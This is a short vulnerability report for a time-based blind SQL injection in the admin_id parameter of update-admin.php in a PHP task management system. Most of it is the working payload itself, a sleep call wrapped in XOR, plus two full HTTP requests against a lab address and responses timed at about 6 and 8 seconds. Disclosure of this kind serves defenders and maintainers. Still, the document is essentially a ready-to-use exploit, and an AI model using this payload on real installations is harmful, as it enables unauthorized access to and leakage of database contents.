

SQL injection vulnerability exists in admin_id parameter of update-admin.php file of php task management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 6s:

Request

```
POST /taskmatic/update-admin.php?admin_id=0'XOR(if(now())=sysdate())%2Csleep(6)%2C0))XOR'Z HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://192.168.31.163/taskmatic/
Cookie: PHPSESSID=usc4bb051bb8fb727f1dn6k14
Content-Length: 126
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: 192.168.31.163
Connection: Keep-alive
em_email=mayuri.infospace%40gmail.com&em_fullname=Mayuri%20K&em_username=mayuri.infospace%40gmail.com&update_current_employee=
```

Response

```
1 HTTP/1.1 302 Found
2 Server: nginx/1.15.11
3 Date: Tue, 02 Apr 2024 05:41:56 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Location: index.php
11 Content-Length: 7759
12
13
14 <!DOCTYPE html>
15 <html lang="en">
16 <head>
17 <title>
18 Task Management System by Mayuri K.
19 </title>
20 <meta charset="utf-8">
21 <meta name="viewport" content="width=device-width, initial-scale=1">
22 <link rel="icon" href="assets/img/favicon.png">
23 <link rel="stylesheet" href="assets/css/bootstrap.min.css">
24 <link rel="stylesheet" href="assets/css/bootstrap.theme.min.css">
25 <link rel="stylesheet" href="assets/bootstrap-datepicker/css/datepicker.css">
26 <link rel="stylesheet" href="assets/bootstrap-datepicker/css/datepicker-custom.css">
27 <link rel="stylesheet" href="assets/css/custom.css">
28 <script src="assets/js/jquery.min.js">
29 </script>
```

Inspector

Selected text: sleep(6)

Decoded from: URL encoding

sleep(6)

8,083 bytes | 6,015 millis

Sleep time is 8s:

Request

```
POST /taskmatic/update-admin.php?admin_id=0'XOR(if(now())=sysdate())%2Csleep(8)%2C0))XOR'Z HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://192.168.31.163/taskmatic/
Cookie: PHPSESSID=usc4bb051bb8fb727f1dn6k104
Content-Length: 126
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: 192.168.31.163
Connection: Keep-alive
em_email=mayuri.infospace%40gmail.com&em_fullname=Mayuri%20K&em_username=mayuri.infospace%40gmail.com&update_current_employee=
```

Response

```
1 HTTP/1.1 302 Found
2 Server: nginx/1.15.11
3 Date: Tue, 02 Apr 2024 05:42:29 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Location: index.php
11 Content-Length: 7759
12
13
14 <!DOCTYPE html>
15 <html lang="en">
16 <head>
17 <title>
18 Task Management System by Mayuri K.
19 </title>
20 <meta charset="utf-8">
21 <meta name="viewport" content="width=device-width, initial-scale=1">
22 <link rel="icon" href="assets/img/favicon.png">
23 <link rel="stylesheet" href="assets/css/bootstrap.min.css">
24 <link rel="stylesheet" href="assets/css/bootstrap.theme.min.css">
25 <link rel="stylesheet" href="assets/bootstrap-datepicker/css/datepicker.css">
26 <link rel="stylesheet" href="assets/bootstrap-datepicker/css/datepicker-custom.css">
27 <link rel="stylesheet" href="assets/css/custom.css">
28 <script src="assets/js/jquery.min.js">
29 </script>
```

Inspector

Selected text: sleep(8)

Decoded from: URL encoding

sleep(8)

8,083 bytes | 8,016 millis

Payload: admin_id=0'XOR(if(now())=sysdate())%2Csleep(8)%2C0))XOR'Z

Source Download:

<https://www.sourcecodester.com/php/17217/employee-management-system-php-and-mysql-free-download.html>